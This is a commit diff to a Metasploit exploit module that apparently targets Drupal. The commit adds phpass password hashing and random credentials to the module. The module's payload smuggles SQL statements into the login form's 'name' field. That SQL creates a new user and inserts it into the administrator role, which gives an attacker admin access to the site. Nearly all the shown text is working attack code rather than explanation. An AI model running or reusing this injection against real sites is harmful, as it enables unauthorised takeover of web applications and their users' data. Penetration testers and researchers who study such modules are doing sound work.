password hashing
parent
9bab77ece6
commit
c8dd08f605
|
@ -47,7 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator'])
|
||||
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
|
||||
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -59,52 +60,75 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
datastore['ADMIN_ROLE']
|
||||
end
|
||||
|
||||
def iter
|
||||
datastore['ITER']
|
||||
end
|
||||
|
||||
def itoa64
|
||||
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
||||
end
|
||||
|
||||
# PHPs PHPASS base64 method
|
||||
def phpass_encode64(input, count)
|
||||
out = ''
|
||||
cur = 0
|
||||
while cur < count
|
||||
value = input[cur].ord
|
||||
cur += 1
|
||||
out << itoa64[value & 0x3f]
|
||||
if cur < count
|
||||
value |= input[cur].ord << 8
|
||||
end
|
||||
out << itoa64[(value >> 6) & 0x3f]
|
||||
break if cur >= count
|
||||
cur += 1
|
||||
|
||||
if cur < count
|
||||
value |= input[cur].ord << 16
|
||||
end
|
||||
out << itoa64[(value >> 12) & 0x3f]
|
||||
break if cur >= count
|
||||
cur += 1
|
||||
out << itoa64[(value >> 18) & 0x3f]
|
||||
end
|
||||
out
|
||||
end
|
||||
|
||||
def generate_password_hash(pass)
|
||||
# Syntax for MD5:
|
||||
# $P$ = MD5
|
||||
# one char representing the hash iterations (min 7 iterations)
|
||||
# one char representing the hash iterations (min 7)
|
||||
# 8 chars salt
|
||||
# MD5_raw(salt.pass) + iterations
|
||||
# MD5 base64 encoded and trimmed to 22 chars for md5
|
||||
|
||||
# VALID md5 for salt 12345678 and password test
|
||||
#$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
|
||||
|
||||
pass = 'test'
|
||||
iter = 10
|
||||
iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
||||
iter_char = iter_char_base[iter]
|
||||
#salt = Rex::Text.rand_text_alpha(8)
|
||||
salt = '12345678'
|
||||
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
|
||||
iter_char = itoa64[iter]
|
||||
salt = Rex::Text.rand_text_alpha(8)
|
||||
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
|
||||
1.upto(iter) {
|
||||
# convert iter from log2 to integer
|
||||
iter_count = 2**iter
|
||||
1.upto(iter_count) {
|
||||
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
|
||||
}
|
||||
md5_base64 = Rex::Text.encode_base64(md5)
|
||||
md5_base64 = phpass_encode64(md5, md5.length)
|
||||
md5_stripped = md5_base64[0...22]
|
||||
pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
|
||||
#puts pass
|
||||
vprint_debug("#{peer} - password hash: #{pass}")
|
||||
|
||||
# return hardcoded password test for now
|
||||
return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
|
||||
return pass
|
||||
end
|
||||
|
||||
def sql_insert_user(user, pass)
|
||||
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
|
||||
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
|
||||
end
|
||||
|
||||
def sql_make_user_admin(user)
|
||||
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));"
|
||||
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
|
||||
end
|
||||
|
||||
def extract_form_ids(content)
|
||||
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
|
||||
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
|
||||
|
||||
unless form_token and form_build_id
|
||||
fail_with(Failure::Unknown, "Could not parse form tokens")
|
||||
end
|
||||
|
||||
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
|
||||
vprint_debug("#{peer} - form_token: #{form_token}")
|
||||
|
||||
|
@ -113,7 +137,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
|
||||
# TODO: Password hashing function
|
||||
# TODO: Check if option admin_role exists via admin/people/permissions/roles
|
||||
|
||||
# call login page to extract tokens
|
||||
|
@ -136,9 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
user = Rex::Text.rand_text_alpha(10)
|
||||
#pass = Rex::Text.rand_text_alpha(10)
|
||||
# TODO: hardcoded for now
|
||||
pass = 'test'
|
||||
pass = Rex::Text.rand_text_alpha(10)
|
||||
|
||||
post = {
|
||||
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
|
||||
|
|
Loading…
Reference in New Issue